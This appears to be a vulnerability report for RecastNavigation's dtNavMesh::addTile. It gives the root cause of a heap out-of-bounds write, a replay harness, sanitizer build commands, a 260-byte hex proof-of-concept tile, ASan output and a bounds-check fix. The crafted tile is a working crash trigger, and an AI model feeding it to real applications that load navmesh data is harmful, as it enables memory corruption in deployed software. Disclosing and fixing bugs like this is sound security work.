[Bug]dtNavMesh::addTile out-of-bounds write into links[]: uncontrolled header.maxLinkCount yields a 4-byte heap write (CWE-787)
Summary
dtNavMesh::addTile builds the links free-list at Detour/Source/DetourNavMesh.cpp:1010 with tile->links[header->maxLinkCount-1].next = DT_NULL_LINK, where header->maxLinkCount is an attacker-controlled tile-header field never validated against the buffer size. With a crafted 260-byte tile (vertCount=211), the sliced links pointer lands 2408 bytes past the allocation and the write hits that displaced address. AddressSanitizer reports a heap-buffer-overflow WRITE of size 4.
- Affected versions: RecastNavigation master
9f4ce64458dfae86e1239c525ddc219c4e9e06f1(all releases to date) - Severity: Critical
- CWE: CWE-787 (Out-of-bounds Write)
Detail
Affected code
// Build links freelist
tile->linksFreeList = 0;
tile->links[header->maxLinkCount-1].next = DT_NULL_LINK; /* line 1010: WRITE — maxLinkCount and links ptr both attacker-controlled */
for (int i = 0; i < header->maxLinkCount-1; ++i)
tile->links[i].next = i+1;tile->links was obtained earlier as:
tile->links = dtGetThenAdvanceBufferPointer<dtLink>(d, linksSize);Root cause: addTile never bounds-checks the header count fields nor the cumulative offset they advance. sizeof(dtLink) is 4 bytes, so even with maxLinkCount = 1 the free-list write is unconditional. The attacker controls both the destination pointer (count fields inflating the advance) and the index (maxLinkCount-1), giving a displaced 4-byte heap write 2408 bytes past the input. With maxLinkCount = 0x80000000, maxLinkCount-1 is first a signed overflow (sibling UB report); with maxLinkCount = 0 the write targets links[-1].
Build the reproducer
- Clone RecastNavigation and check out the affected commit:
git clone https://github.com/recastnavigation/recastnavigation.git
cd recastnavigation
git checkout 9f4ce64458dfae86e1239c525ddc219c4e9e06f1- Save this standalone replay driver as
dbg_addtile.cpp(calls the publicdtNavMesh::addTileAPI on every file argument):
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#include "DetourNavMesh.h"
int main(int argc, char** argv) {
for (int i = 1; i < argc; ++i) {
FILE* f = fopen(argv[i], "rb");
if (!f) return 2;
fseek(f, 0, SEEK_END); long n = ftell(f); rewind(f);
std::vector<unsigned char> buf((size_t)n);
fread(buf.data(), 1, (size_t)n, f);
fclose(f);
dtNavMesh mesh;
dtNavMeshParams params;
memset(¶ms, 0, sizeof(params));
params.tileWidth = 1.0f; params.tileHeight = 1.0f;
params.maxTiles = 8; params.maxPolys = 64;
dtStatus is = mesh.init(¶ms);
printf("=== %s (%ld B) init=%08x ", argv[i], n, is);
unsigned char* b = (unsigned char*)malloc(n);
memcpy(b, buf.data(), n);
dtTileRef result = 0;
dtStatus st = mesh.addTile(b, (int)n, 0, 0, &result);
printf("addTile=%08x result=%08x\n", st, result);
free(b);
}
return 0;
}- Compile with ASan + UBSan (
dbg_addtile):
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=address,undefined -g \
-I Detour/Include dbg_addtile.cpp \
Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNavMeshQuery.cpp \
Detour/Source/DetourNode.cpp -o dbg_addtileFor a pure-UBSan report of the UB findings, build a second binary without ASan and with the trap flags:
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=undefined -fno-sanitize-recover=all -g \
-I Detour/Include dbg_addtile.cpp \
Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNode.cpp \
-o dbg_addtile_ubonlyPOC (tested on the unmodified source)
Save the 260-byte POC:
python3 -c "open('poc.bin','wb').write(bytes.fromhex('56414e44070000000000000000000000000000000000000001000000d300000001000000010000000000000001000000020000000100000001000000000000409a99193f6666663f0000000000000000000000000000f0410000f0410000f0410000a0400000000000000400000000000000803f000000000000000000000000000000000000803f00000000000001000200ffffffffffff0000000000000000000000000100030000000000000000000000000000000000000000000001000000000200000000000000ffffffffffff000000000000000000000000000000ff00ffffffcdcccc3d00000000cdcccc3dcdcc4c3e00000000cdcc4c3e0000803f00000000'))"Run:
./dbg_addtile poc.binTrigger result
Verified on the unmodified source (AddressSanitizer):
=================================================================
==3111875==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000c2c at pc 0x5601e204df70 bp 0x7ffce6d91630 sp 0x7ffce6d91628
WRITE of size 4 at 0x612000000c2c thread T0
#0 0x5601e204df6f in dtNavMesh::addTile(unsigned char*, int, int, unsigned int, unsigned int*) .../Detour/Source/DetourNavMesh.cpp:1010:43
#1 0x5601e2036b4d in main .../dbg_addtile.cpp:25:28
0x612000000c2c is located 2408 bytes to the right of 260-byte region [0x6120000001c0,0x6120000002c4)
allocated by thread T0 here:
#0 0x5601e1ff921e in malloc (...)
#1 0x5601e2036a9f in main .../dbg_addtile.cpp:22:44
SUMMARY: AddressSanitizer: heap-buffer-overflow .../Detour/Source/DetourNavMesh.cpp:1010:43 in dtNavMesh::addTile(unsigned char*, int, int, unsigned int, unsigned int*)- Replay exit code:
1(abort/trap) - Deterministic: yes — 7 crash sample(s) (id:000001, id:000002, id:000003, id:000004, id:000031, ...) all reproduce the same root cause
Suggested fix
Bound-check header->maxLinkCount before the free-list write:
if (header->maxLinkCount == 0 || header->maxLinkCount > maxLinks)
return DT_FAILURE | DT_INVALID_PARAM;
const int linkCountMinus1 = header->maxLinkCount - 1; /* now 0..maxLinks-1 */
tile->links[linkCountMinus1].next = DT_NULL_LINK;
for (int i = 0; i < linkCountMinus1; ++i)
tile->links[i].next = i + 1;Source: recastnavigation/recastnavigation